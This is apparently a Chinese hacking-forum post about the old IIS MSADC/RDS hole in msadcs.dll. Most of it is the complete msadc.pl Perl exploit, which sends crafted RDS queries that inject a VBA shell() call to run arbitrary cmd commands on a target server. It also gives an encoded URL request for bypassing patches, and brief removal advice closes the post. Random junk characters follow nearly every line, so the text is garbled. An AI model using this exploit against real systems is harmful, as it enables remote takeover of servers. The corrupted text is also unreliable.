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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^R&_}bp  
11^ {W F  
涉及程序: yHV^a0e7EH  
Microsoft NT server E` :ZH  
!8H!Fj`|j  
描述: TPN:cA6[c  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 eUGm ns  
Qr^Z~$i t  
详细: A= \'r<:  
如果你没有时间读详细内容的话,就删除: *+4>iL*:  
c:\Program Files\Common Files\System\Msadc\msadcs.dll f=-!2#%  
有关的安全问题就没有了。 zM3H@;}m  
;@h'Mb  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 98"z0nI%  
sYW1T @  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 4okHAv8;  
关于利用ODBC远程漏洞的描述,请参看: n]kQtjJ  
fS8XuT  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _ d(Ks9  
v ](G?L9b  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 |TNiKy  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &Nj:XX;X  
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这里不再论述。 Cv?<}q  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: x _YV{  
`SSP53R(0  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset J%O[@jX1  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! NoSqzJyh  
W}<M?b4tP  
"OlI-^y  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ys~p(  
NUxAv= xl  
#!perl tOlzOBzR  
# 9phD5b~j  
# MSADC/RDS 'usage' (aka exploit) script 9>} (]T  
# |{}d5Z"5;}  
# by rain.forest.puppy ?$`1%Y9  
# ^| a&%wxA  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me _z_3%N  
# beta test and find errors! s`$_  
z?IY3]v*z<  
use Socket; use Getopt::Std; :*w:eKk  
getopts("e:vd:h:XR", \%args); O #p)~V8~  
i&SBW0)  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; JXZ:Wg  
Cx1Sh#9  
if (!defined $args{h} && !defined $args{R}) { z!t3xFN&/  
print qq~ cE_Xo.:Y,  
Usage: msadc.pl -h <host> { -d <delay> -X -v } :Z7"c`6L!~  
-h <host> = host you want to scan (ip or domain) x"h)"Y[c5  
-d <seconds> = delay between calls, default 1 second :a^,Ei-&  
-X = dump Index Server path table, if available I _Mqh4];  
-v = verbose zN 729wK  
-e = external dictionary file for step 5 {) '" k6w  
^0 ,&R\e+  
Or a -R will resume a command session d/-]y:`f`  
h>`'\qy  
~; exit;} '8kL1  
aS1P]&  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; >x_:=%Wr+  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}  +lf@O&w  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} wTgx(LtH  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Vms7 Jay  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} /i]=ndAk  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } F6neG~Y  
{H7$uiq3:B  
if (!defined $args{R}){ $ret = &has_msadc; KH6n3\=  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} BR0p0%  
zWR*g/i  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" A)`fD %+  
. "cmd /c "; ED =BZR  
$in=<STDIN>; chomp $in; L}sm R,  
$command="cmd /c " . $in ; XH Zu>[  
*z  ;N  
if (defined $args{R}) {&load; exit;} 1H2u,{O  
KI? 1( L  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; :8GxcqvCWq  
&try_btcustmr; nbkky .e  
SUFaHHk@/b  
print "\nStep 2: Trying to make our own DSN..."; m} F Ce  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; O.40^u~  
IB]VPj5  
print "\nStep 3: Trying known DSNs..."; &V,-W0T_  
&known_dsn; 4 *2>R8SX~  
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print "\nStep 4: Trying known .mdbs..."; /\Y%DpG$  
&known_mdb; ~ @"Qm;} "  
gCBZA;/  
if (defined $args{e}){ p=P0$P+KM  
print "\nStep 5: Trying dictionary of DSN names..."; iRr& 'k  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } M6>\R$  
/-<m(72wF  
print "Sorry Charley...maybe next time?\n"; 9[]"%6  
exit; gQzJ2LU(  
0_xcrM  
############################################################################## bU +eJU_%  
J;]@?(  
sub sendraw { # ripped and modded from whisker NB6h/0*v  
sleep($delay); # it's a DoS on the server! At least on mine... #L*@~M^]  
my ($pstr)=@_; %cjGeS6}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || KL_}:O68  
die("Socket problems\n"); }Us$y0W\  
if(connect(S,pack "SnA4x8",2,80,$target)){ @snLE?g j  
select(S); $|=1; x`|tT%q@l  
print $pstr; my @in=<S>; J$ih|nP  
select(STDOUT); close(S); uC8T!z  
return @in; 0Ukl#6  
} else { die("Can't connect...\n"); }} (j8,n<o  
Q8/0Cb/  
############################################################################## D@vvy6>~s  
a_fW {;}[  
sub make_header { # make the HTTP request LyPBFo[?  
my $msadc=<<EOT ?Dp^dR  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 |h~/Zz=  
User-Agent: ACTIVEDATA /v ;Kb|e  
Host: $ip a0W\?  
Content-Length: $clen arH\QPaka'  
Connection: Keep-Alive hy`)]>9z~  
N %/DN  
ADCClientVersion:01.06 *gpD4c7A\  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 !5 :[XvI#  
#3[b|cL  
--!ADM!ROX!YOUR!WORLD! 5 nIlG  
Content-Type: application/x-varg ZJ}LnPr  
Content-Length: $reqlen U4I` xw'  
N'BctKL  
EOT T-8nUo}i  
; $msadc=~s/\n/\r\n/g; Y/I6.K3  
return $msadc;} aZCT|M1  
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############################################################################## : )*Ge3  
m-FDCiN>  
sub make_req { # make the RDS request &B,& *Lp  
my ($switch, $p1, $p2)=@_; .E8p-R5)V>  
my $req=""; my $t1, $t2, $query, $dsn; EuA<{%i  
7?WBzo!!L  
if ($switch==1){ # this is the btcustmr.mdb query w=>mG-  
$query="Select * from Customers where City=" . make_shell(); +rO<'H:umJ  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 4'[ V'c\  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} uiEA=*axp  
/<pQ!'/G  
elsif ($switch==2){ # this is general make table query 9F1stT0G%  
$query="create table AZZ (B int, C varchar(10))"; |VEAzY|[#  
$dsn="$p1";} 2/q=l?  
]<z(Rmn`Q  
elsif ($switch==3){ # this is general exploit table query ffd 3QQ  
$query="select * from AZZ where C=" . make_shell(); 4'b]2Mn3   
$dsn="$p1";} v!9Imf  
"fJ|DE&@<i  
elsif ($switch==4){ # attempt to hork file info from index server &+iW:  
$query="select path from scope()"; D)Rf  
$dsn="Provider=MSIDXS;";} 0lh6b3tdP  
yC*BOJS  
elsif ($switch==5){ # bad query zW`koRH@  
$query="select"; U+M?<4J) "  
$dsn="$p1";} cyeDZ)  
0\^2HjsJ  
$t1= make_unicode($query); ]Wm ?<7H  
$t2= make_unicode($dsn); &nw ~gSe  
$req = "\x02\x00\x03\x00"; Ou,_l  
$req.= "\x08\x00" . pack ("S1", length($t1)); ZTC1t_  
$req.= "\x00\x00" . $t1 ; V *y  
$req.= "\x08\x00" . pack ("S1", length($t2)); 2,nCGSfc  
$req.= "\x00\x00" . $t2 ; d+ko"F|  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; [mvHa;-w  
return $req;} 3+uoK f[  
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############################################################################## '+tT$k  
,WK$jHG]  
sub make_shell { # this makes the shell() statement jn Y3G  
return "'|shell(\"$command\")|'";} {# _C  
f+~!s 2uw  
############################################################################## eakIK+-21y  
4x=Y9w0?8  
sub make_unicode { # quick little function to convert to unicode DCUq.q)  
my ($in)=@_; my $out; L4Y3\4xXO  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } dV  
return $out;} MCG~{#`  
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############################################################################## HN@)/5BY  
a/#,Y<kJ  
sub rdo_success { # checks for RDO return success (this is kludge) UH|.@7w  
my (@in) = @_; my $base=content_start(@in); BQg]$Tr?  
if($in[$base]=~/multipart\/mixed/){ gP%!  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} @!O{>`  
return 0;} Z"T(8>c;g  
.LHe*JC  
############################################################################## T bWZw  
>vy+U  
sub make_dsn { # this makes a DSN for us 1e} 3L2rC  
my @drives=("c","d","e","f"); dq(L1y870  
print "\nMaking DSN: "; e1Hx"7ew_  
foreach $drive (@drives) { 4=:eGlU93U  
print "$drive: "; @1Lc`;Wd  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . >f8,YisH  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" !2Iwur u  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ?\r3 _  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }`FPe   
return 0 if $2 eq "404"; # not found/doesn't exist ~-i?=  
if($2 eq "200") { )zV5KC{{  
foreach $line (@results) { Jj:4@p:  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} +,>bpp1  
} return 0;} Q6>( Z  
5 Vqvb|  
############################################################################## Hp AZ{P7  
*X=-^\G  
sub verify_exists { W7"sWaOhW  
my ($page)=@_; !{;RtUPz*  
my @results=sendraw("GET $page HTTP/1.0\n\n"); e[!>ezaIY  
return $results[0];} eO G%6C%a  
RVnYe='  
############################################################################## o#6}?g.  
ro@BmRMW  
sub try_btcustmr { #9Z-Hd<  
my @drives=("c","d","e","f"); a| cD{d  
my @dirs=("winnt","winnt35","winnt351","win","windows"); rd{( E  
SbivW5|61  
foreach $dir (@dirs) { wv-8\)oA  
print "$dir -> "; # fun status so you can see progress )v0vdAh'b  
foreach $drive (@drives) { jp`N%O]6  
print "$drive: "; # ditto `_)dEu  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ;0gpS y$#  
$reqlenlen=length( "$reqlen" ); mo$*KNW%\  
$clen= 206 + $reqlenlen + $reqlen; k>`X! "  
&pz8vWCk  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); yqwr0yDAl  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} v g]&T  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} p6)UR~9Rs  
{{,%p#/b  
############################################################################## )' #(1 ,1k  
A?zW!'  
sub odbc_error { CG;D(AWR;  
my (@in)=@_; my $base; A>puk2s  
my $base = content_start(@in); ,V?,I9qf  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this jU$PO\UTk  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; a=dN.OB}F7  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; y"ck;OQD  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; i|mA/ e3b  
return $in[$base+4].$in[$base+5].$in[$base+6];} nj$K4_  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; d]]qy  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . OLwxGRYX  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} %54![-@  
~T~v*'_h  
############################################################################## #v-!GK_<  
f14c} YY  
sub verbose { }^q#0`e(y  
my ($in)=@_; $Vzfhj-if  
return if !$verbose; 9h{G1XL  
print STDOUT "\n$in\n";} _JH6bvbQ  
cw\a,>]H  
############################################################################## x7?{*w&r  
rGWTpN  
sub save { Xk$lQMwZ  
my ($p1, $p2, $p3, $p4)=@_; .w~USJ=X  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; :*1w;>o)n  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ;+U9;  
close OUT;} T_WQzEL^  
nC^'2z  
############################################################################## uM8gfY)OI  
'\Ub*m((1O  
sub load { Qp ,l>k  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; TfPx   
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); MR}\fw$(.  
@p=<IN>; close(IN); |=POV]K  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); x3Uv&  
$target= inet_aton($ip) || die("inet_aton problems"); :-)[B^0  
print "Resuming to $ip ..."; EIRf6jL  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; V_* ^2c)  
if($p[1]==1) { =j0V/=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; [>;O'>  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; %#,BvQz~  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); %0 4n,&mg  
if (rdo_success(@results)){print "Success!\n";} hd\#Vh(H  
else { print "failed\n"; verbose(odbc_error(@results));}} K^bn4Nr  
elsif ($p[1]==3){ \w3wh*  
if(run_query("$p[3]")){ ,n*.Yq  
print "Success!\n";} else { print "failed\n"; }} 5kF5`5+Vj  
elsif ($p[1]==4){ _*9Zp1r  
if(run_query($drvst . "$p[3]")){ iYf4 /1IG,  
print "Success!\n"; } else { print "failed\n"; }} FyEl@ }W  
exit;} <_![~n$H  
N5\<w>  
############################################################################## Li2)~4p><  
c.fj[U|j  
sub create_table { "{k3~epYaN  
my ($in)=@_; 9M<? *8)  
$reqlen=length( make_req(2,$in,"") ) - 28; ($wYaw z  
$reqlenlen=length( "$reqlen" ); ;IT^SHym  
$clen= 206 + $reqlenlen + $reqlen; DQ)SMqOotw  
my @results=sendraw(make_header() . make_req(2,$in,"")); c nzPq\  
return 1 if rdo_success(@results); oC [g  
my $temp= odbc_error(@results); verbose($temp); j*5VJ:  
return 1 if $temp=~/Table 'AZZ' already exists/; e([&Nr8h  
return 0;} ?P5D!b:(  
fHigLL0B  
############################################################################## I9 E@2[=!  
RA6D dqT~  
sub known_dsn { II91Ia  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go OH~t\fQ1Zf  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", eZcm3=WV|  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", *s^5 BLI9  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 4v>V7T.  
')BQ 0sg  
foreach $dSn (@dsns) { S;])Nt'X'  
print "."; JG[+e*8  
next if (!is_access("DSN=$dSn")); 6voK{C4J  
if(create_table("DSN=$dSn")){ G 1$l%B  
print "$dSn successful\n"; 1pV"< ,t  
if(run_query("DSN=$dSn")){ R/#*~tPi8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { f_7p.H6\  
print "Something's borked. Use verbose next time\n";}}} print "\n";} `&_qK~&/X  
/Yh8r1^2tZ  
############################################################################## 4Z_.Jdu w  
>b?,zWiw  
sub is_access { ^{s)`j'I*  
my ($in)=@_;  lcr=^  
$reqlen=length( make_req(5,$in,"") ) - 28; )oj`K,#  
$reqlenlen=length( "$reqlen" ); <n>< A+D  
$clen= 206 + $reqlenlen + $reqlen; M(|gfsD  
my @results=sendraw(make_header() . make_req(5,$in,"")); ^T5c^ M8o  
my $temp= odbc_error(@results); ym KdRF  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); a-3~HH  
return 0;} g5 E]o)  
U|zW_dj  
############################################################################## 3t,SXI @  
?d %_o@  
sub run_query { oI>;O#  
my ($in)=@_; 0XYxMN)  
$reqlen=length( make_req(3,$in,"") ) - 28; pQp}HD!-  
$reqlenlen=length( "$reqlen" ); |"mb 59X  
$clen= 206 + $reqlenlen + $reqlen; H.9J}k1S  
my @results=sendraw(make_header() . make_req(3,$in,"")); gor6c3i  
return 1 if rdo_success(@results); ' 9,}N:p  
my $temp= odbc_error(@results); verbose($temp); 8[DD=[&  
return 0;} 4MM#\  
!-QKh aY  
############################################################################## Rwr0$_A  
,y0kzwPR1  
sub known_mdb { ;#;X@BhS  
my @drives=("c","d","e","f","g"); gQ?k}D  
my @dirs=("winnt","winnt35","winnt351","win","windows"); y?rsfIth`  
my $dir, $drive, $mdb; s#Le`pGoW  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6?_Uow}  
0`x<sjG\q  
# this is sparse, because I don't know of many g9gyWz  
my @sysmdbs=( "\\catroot\\icatalog.mdb", b,c vQD  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", |!}$V  
"\\system32\\certmdb.mdb", 78X;ZMY  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% &EQov9P7  
B4.hJZ5  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", d1,azM  
"\\cfusion\\cfapps\\forums\\forums_.mdb", WMg#pLc#  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", R+m{nO~r  
"\\cfusion\\cfapps\\security\\realm_.mdb", 0QGl'u{F  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", PXkPC%j  
"\\cfusion\\database\\cfexamples.mdb", Xbz}pAnj  
"\\cfusion\\database\\cfsnippets.mdb", F :u}7t>  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", sK\?i3<?  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", lj[Bd >  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 3oSQe"  
"\\cfusion\\database\\smpolicy.mdb", 9orza<#  
"\\cfusion\\database\cypress.mdb", &pCKz[Yf+  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ^WeT3b q  
"\\website\\cgi-win\\dbsample.mdb", dWp4|r  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", JK1b 68n  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" I[&!\Me[+w  
); #these are just t*DM^. @  
foreach $drive (@drives) { F/!C=nS  
foreach $dir (@dirs){ v7ae^iU  
foreach $mdb (@sysmdbs) { #&@&BlIe  
print "."; sST6_b  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ y,%w`  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; v9<p@GY"\  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ d`:0kOF+  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 04( h!@!g:  
} else { print "Something's borked. Use verbose next time\n"; }}}}} # mzJ^V-  
`Q{kiy  
foreach $drive (@drives) { 7mu%|!  
foreach $mdb (@mdbs) { {_ #   
print "."; N+r~\[N\9  
if(create_table($drv . $drive . $dir . $mdb)){ 9oaq%Sf  
print "\n" . $drive . $dir . $mdb . " successful\n"; H fRxgA@  
if(run_query($drv . $drive . $dir . $mdb)){ ]Rw,5\0  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; k<:!^_3H  
} else { print "Something's borked. Use verbose next time\n"; }}}} >Mn"k\j4  
} b~\![HoCMM  
_r ajm J  
############################################################################## :dK%=j*ZK  
C6Kz6_DQZ  
sub hork_idx { i P/I% D  
print "\nAttempting to dump Index Server tables...\n"; wo*/{KFvh  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; =^{^KHzIl3  
$reqlen=length( make_req(4,"","") ) - 28; 9/nL3U@i1  
$reqlenlen=length( "$reqlen" ); ^ML2xh  
$clen= 206 + $reqlenlen + $reqlen; 0^.q5#A2  
my @results=sendraw2(make_header() . make_req(4,"","")); g]3-:&F{c  
if (rdo_success(@results)){ :cOwTW?Fj  
my $max=@results; my $c; my %d; H(0d(c1s  
for($c=19; $c<$max; $c++){ Vbwbc5m}  
$results[$c]=~s/\x00//g; ^@6eN]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; s6qe5[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }#Vo XilX  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; "e_ED*  
$d{"$1$2"}="";} c*3ilMP\4  
foreach $c (keys %d){ print "$c\n"; } 7$^V_{ej  
} else {print "Index server doesn't seem to be installed.\n"; }} UboOIx5:  
:?60pu=  
############################################################################## r"0nUf*og:  
Tp9LBF  
sub dsn_dict { B[k"xs  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); D$j`+`  
while(<IN>){ T *$uc,  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; %D&FnTa  
next if (!is_access("DSN=$dSn")); #Uudx~b  
if(create_table("DSN=$dSn")){ oVLz7Y[JE  
print "$dSn successful\n"; 0a(*/u  
if(run_query("DSN=$dSn")){ {xOu*8J  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { B$7lL  
print "Something's borked. Use verbose next time\n";}}} <1hwXo  
print "\n"; close(IN);} KKOu":b  
GM@TWwG-B  
############################################################################## U_14CLs dG  
atPf527\`  
sub sendraw2 { # ripped and modded from whisker .fZv H  
sleep($delay); # it's a DoS on the server! At least on mine... bjR&bIA:  
my ($pstr)=@_; ^goS? p/z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Y}4dW'  
die("Socket problems\n"); Ron^PvvY&  
if(connect(S,pack "SnA4x8",2,80,$target)){ F9d][ P@@  
print "Connected. Getting data"; ?Ww',e  
open(OUT,">raw.out"); my @in; A^g81s.5  
select(S); $|=1; print $pstr; ^P]: etld9  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} D-[0^  
close(OUT); select(STDOUT); close(S); return @in; TsR20P@  
} else { die("Can't connect...\n"); }} ;E*ozKpm  
J,E&Uz95%  
############################################################################## FCI38?`%  
U:`rNHl  
sub content_start { # this will take in the server headers >;HXH^q  
my (@in)=@_; my $c; (/uL6W d0  
for ($c=1;$c<500;$c++) { BURiLEYZl  
if($in[$c] =~/^\x0d\x0a/){ Z-:$)0f  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } v}iJ :'  
else { return $c+1; }}} /Fk0j_b  
return -1;} # it should never get here actually 'W$qi@f_s  
(L~3nN;rr  
############################################################################## |px4a"  
;1"K79  
sub funky { >0512_J+  
my (@in)=@_; my $error=odbc_error(@in); T nPC\.x  
if($error=~/ADO could not find the specified provider/){ .&* Tj}p  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \Z)'':},C  
exit;} u |#ruFR  
if($error=~/A Handler is required/){ vnIxI a  
print "\nServer has custom handler filters (they most likely are patched)\n"; J :,  
exit;} "i#!  
if($error=~/specified Handler has denied Access/){ <nIU]}q  
print "\nServer has custom handler filters (they most likely are patched)\n"; n)pBK>+  
exit;}} uZ OUp8QQ  
pKp#4Js  
############################################################################## 1AhL-Lj  
J@1(2%)|Z  
sub has_msadc { 4,)=r3;&!  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); y 5=J6a2.  
my $base=content_start(@results); W[YcYa_tQ  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); gzw[^d  
return 0;} !WDdq_n*v  
%d*}:295  
######################## t7lRMCN  
+K+ == mO&  
B{zIW'Ld  
解决方案: G-rN?R.  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll )m6=_q5@o  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ?t<wp3bZ  
 vlE#z  
拿出来充数 哈哈
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